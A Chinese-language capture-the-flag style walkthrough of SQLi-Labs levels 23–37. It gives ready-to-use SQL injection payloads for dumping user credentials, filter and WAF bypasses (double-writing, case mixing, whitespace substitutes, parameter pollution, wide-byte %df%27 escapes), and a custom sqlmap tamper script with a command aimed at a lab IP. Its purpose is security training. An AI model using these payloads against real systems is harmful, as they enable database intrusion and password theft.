【靶场实战】SQLi-Labs 通关攻略 (Less 23 - Less 37)
SQLi-Labs 漏洞复现level23~level37 (Adv Injections)
靶场数据库初始化
启动 Docker 容器后,进入靶场主页。为了使靶场正常工作,需要先点击 Setup/reset Database for labs 进行数据库初始化和建表.
Less-23 基于错误的,过滤注释的GET型
1.题目

2.分析
发现使用'闭合后使用 --注释不起作用,#也不起作用。

可以使用 and '1'='1代替注释符来闭合'。

3.获取信息
在最后一步时,就不用and改用where,因为AND 是条件连接词,一般要放在 WHERE 后面。拼接后:
SELECT * FROM users WHERE id='-1'
union select 1,2,group_concat(id,username,password)
from users
where '1'='1' LIMIT 0,1
所以
?id=-1' union select 1,2,group_concat(id,username,password)from users where '1'='1

Less-24 POST二次注入(真实场景)——存储型注入
1.题目

2.分析
这个界面看起来功能多了好多,一个一个看吧。随便注册了一个账户再登陆进去发现是一个更改密码的界面。更改密码需要账户原有的密码。应该是要改admin账户的密码进行登录。

使用admin'#作为用户名进行注册再登陆后,#注释了当前密码的条件判断。实现无密码修改其他用户密码。
3.获取信息
修改密码:

登陆成功:

Less-25 GET - 基于报错 - 所有 OR 和 AND 都归我们所有 - 字符串单引号
1.题目

2.分析
提示的很明显,or和and被过滤了。由于or被过滤导致我们 order by 字句也用不了了。

这种过滤可以用双写绕过,或者不用or也可以。

3.获取信息
?id=-1' union select 1,2,group_concat(id,username,passwoorrd) from users --+

Less25-a GET - 基于盲注 - 所有 OR 和 AND 都归我们所有 - 数字型
1.题目

2.获取信息
其实不是盲注,只是没有语法错误回显。
?id=-1 union select 1,2,group_concat(id,username,passwoorrd) from users --+

Less-26 GET - 基于报错 - 所有空格和注释都归我们所有
1.题目

2.分析
这次我们空格和注释都没了(其实OR和AND也没给),空格没了就不用空格,使用()代替空格的功能,注释改用'1'='1闭合。

3.获取信息
?id=1'%26%26(updatexml(1,concat(0x7e,(select(concat(username,0x3a,passwoorrd))from(users)where(id=1)),0x7e),1))%26%26'1'='1


Less-26a GET - 基于盲注 - 所有空格和注释都归我们所有 - 字符串型 - 单引号 - 括号
1.题目

2.获取信息
货真价实的盲注使用sqlmap。
使用的 tamper 脚本
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
def dependencies():
pass
def tamper(payload, **kwargs):
if not payload:
return payload
payload = re.sub(r"(?i)\bORD\s*\(", "ASCII(", payload)
payload = re.sub(r"(?i)\bAND\b", "%26%26", payload)
payload = re.sub(r"(?i)\bOR\b", "%7C%7C", payload)
payload = re.sub(r"(?<![\w.])(\d+)\s+(\d+)(?![\w.])", r"\1=\2", payload)
return re.sub(r"\s+", "", payload)
sqlmap 生成注入 payload 后,会先经过 tamper 改写,再发送到目标,用于绕过过滤规则。
Less-26a 会过滤 or、and、空白、注释符等,导致 sqlmap 默认 payload 被破坏。例如 ORD() 会被过滤成 D(),information_schema 会被过滤成 infmation_schema。
本题使用自定义 tamper 做如下处理:
ORD( -> ASCII( //ORD() 是 sqlmap 自己在布尔盲注取字符时生成的函数。
AND -> &&
OR -> ||
多个空白 -> 删除
数字 空白 数字 -> 数字=数字
C:\tool\sqlmap>python sqlmap.py -u "http://121.40.215.68:6651/Less-26a/?id=1" -p id --batch --dbms=mysql --technique=B --level=1 --risk=1 --prefix="')" --suffix="&&('1'='1" --tamper="C:\tool\sqlmap\less26a.py" --string="Your Login name:" --flush-session --no-cast --sql-query=--sql-query="SELECT(GROUP_CONCAT(id,0x3a,username,0x3a,passwoorrd))FROM(users)"

Less-27 GET - 基于报错 - 所有 UNION 和 SELECT 都归我们所有 - 字符串型 - 单引号
1.题目

2.分析
不能使用union和select,其实只是过滤了全大写和全小写,我们可以使用大小写混合绕过。还有就是注释符也被过滤了,改用'1'='1绕过。

3.获取信息
?id=1'%26%26(updatexml(1,concat(0x7e,(seLect(concat(username,0x3a,password))from(users)where(id=1)),0x7e),1))%26%26'1'='1


Less-27a GET - 基于盲注 - 所有 UNION 和 SELECT 都归我们所有 - 双引号
1.题目

2.分析
我发现这一关%0a可以使用了,之前都不可以使用。我们可以使用%0a代替空格。看了源码发现只是这一关对空格过滤不是很严格,只过滤了空格和+,所以我们可以用空白字符代替空格,如:
%09 tab
%0a 换行
%0b 垂直制表
%0c 换页
%0d 回车
?id=0"%0aUnIon%0aseLect%0a1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema=database()%26%26%0a"1

3.获取信息
记得实用where 1=1,不然&&会出现语法错误。也可以使用order by 或 group by就不用使用where加&&的组合
?id=0"%0aUnIon%0aseLect%0a1,2,group_concat(username,0x3a,password)from%0ausers%0awhere%0a1=1%26%26%0a"1

Less-28 GET - 基于报错 - 所有 UNION 和 SELECT 都归我们所有 - 字符串型 - 单引号 - 括号
1.题目

2.分析
题目本来是想让我们用报错注入,查看源码发现过滤了union 空白 select(忽略大小写)这种结构,也就是说使用空白字符也没用,但是我们可以在union与select中加一个all,ALL 是 UNION 的合法选项,表示不去重;在这题里顺便用来绕过 union select 组合过滤。
?id=0')%0aUnIoN%0aall%0aSeLeCt%0a1,database(),3%26%26%0a('1

3.获取信息
?id=0')%0aUnIoN%0aall%0aSeLeCt%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers%0awhere%0a1=1%26%26%0a('1

有个问题啊,题目标题是基于报错,但我使用报错注入时发现没有错误信息打印到页面上。查看源码后发现//print_r(mysql_error());,这是何意味不打印报错信息怎么使用报错注入。将注释取消后就可以使用报错注入了。
?id=1'%26%26(updatexml(1,concat(0x7e,(select%0aconcat(username,0x3a,password)from%0ausers%0alimit%0a0,1),0x7e),1))%26%26'1'='1


Less-28a GET - 基于盲注 - 所有 UNION 和 SELECT 都归我们所有 - 单引号 - 括号
1.题目

2.分析
这一关的过滤比上一关少很多,只过滤了union 空白 select这种结构。

3.获取信息
?id=0') union all select 1,group_concat(username,0x3a,password),3 from users where 1=1%26%26 ('1

Less-29 GET - 基于报错 - 前后端解析不一致 - Web 应用前面有一层 WAF
1.题目

2.分析
先用单引号闭合看看。要在加上login.php,不然题目就没意义了。

可以看到页面直接重定向到hacked.php,意味着我们的恶意payload被检测到了。
Less-29 的核心不是普通关键字绕过,而是 HTTP Parameter Pollution/HPP 导致的“前后端参数解析不一致”绕过 WAF。login.php 先从原始 QUERY_STRING 里手工取第一个 id 参数做白名单校验,只允许纯数字通过 。但真正拼接 SQL 时,程序用的是 $_GET['id']。这样就可以构造两个同名参数,例如:
?id=1&id=1' union select 1,2,3--+
WAF 检查的是前面的 id=1,因为它是纯数字,所以放行;而 PHP 实际进入 SQL 的是后面的恶意 id,从而触发注入。

3.获取信息
?id=1&id=0' union select 1,2,group_concat(username,0x3a,password) from users --+

Less-30 GET - 基于盲注 - 前后端解析不一致 - Web 应用前面有一层 WAF
1.题目

2.分析

无错误回显,先猜一下闭合方式,发现是"。

3.获取信息
?id=1&id=0" union select 1,2,group_concat(username,0x3a,password) from users --+

Less-31 GET - 基于盲注 - 前后端解析不一致 - Web 应用前面有一层 WAF
1.题目

2.分析
与上一关的区别是闭合方式改为")。

3.获取信息
?id=1&id=0") union select 1,2,group_concat(username,0x3a,password)from users --+

Less-32 GET - 绕过自定义过滤器:该过滤器会给危险字符添加反斜杠
1.题目

2.分析
闭合时发现'被转义了。

需要使用宽字节注入,比如这题会把:
'
转义成:
\'
也就是:
%5c%27
其中:
%5c = \
%27 = '
宽字节注入会在单引号前面加一个特殊字节,比如:
%df%27
程序转义后变成:
%df%5c%27
如果数据库按 GBK 解析,%df%5c 会被当成一个合法的中文字符:
%df%5c = 一个宽字节字符
这样反斜杠 \ 就被“吃掉”了,剩下的 %27 也就是单引号 ' 就逃逸出来了。

3.获取信息
?id=0%df%27 union select 1,2,group_concat(username,0x3a,password)from users --+

Less-33 GET - 绕过 AddSlashes()
1.题目

2.分析
与上一关区别主要在过滤方式:
| 关卡 | 过滤方式 | 说明 |
|---|---|---|
| Less-32 | 自定义过滤函数 | 手写函数对危险字符加反斜杠,效果类似 addslashes() |
| Less-33 | PHP 内置 addslashes() | 直接调用 PHP 自带函数,对 '、"、\、NULL 加反斜杠 |
利用方式基本一致。

3.获取信息
?id=0%df%27 union select 1,2,group_concat(username,0x3a,password)from users--+

Less-34 POST - 绕过 AddSlashes()
1.题目

2.分析
没区别,只是改用post

3.获取信息
uname=0%df' union select 1,group_concat(username,0x3a,password)from users --+&passwd=0&submit=Submit

Less-35 GET - 绕过 AddSlashes(其实我们不需要它)- 数字型注入
1.题目

2.分析
数字型注入直接来就行了,那我们也不需要绕过AddSlashes了

3.获取信息
?id=0 union select 1,2,group_concat(username,0x3a,password)from users--+

Less-36 GET - 绕过 mysql_real_escape_string()
1.题目

2.分析
换了个内置函数来防注入,依旧可以使用宽字节注入。

3.获取信息
?id=0%df' union select 1,2,group_concat(username,0x3a,password)from users--+

Less-37 POST - 绕过 mysql_real_escape_string()
1.题目

2.获取信息
uname=0%df' union select 1,group_concat(username,0x3a,password)from users --+&passwd=0&submit=Submit
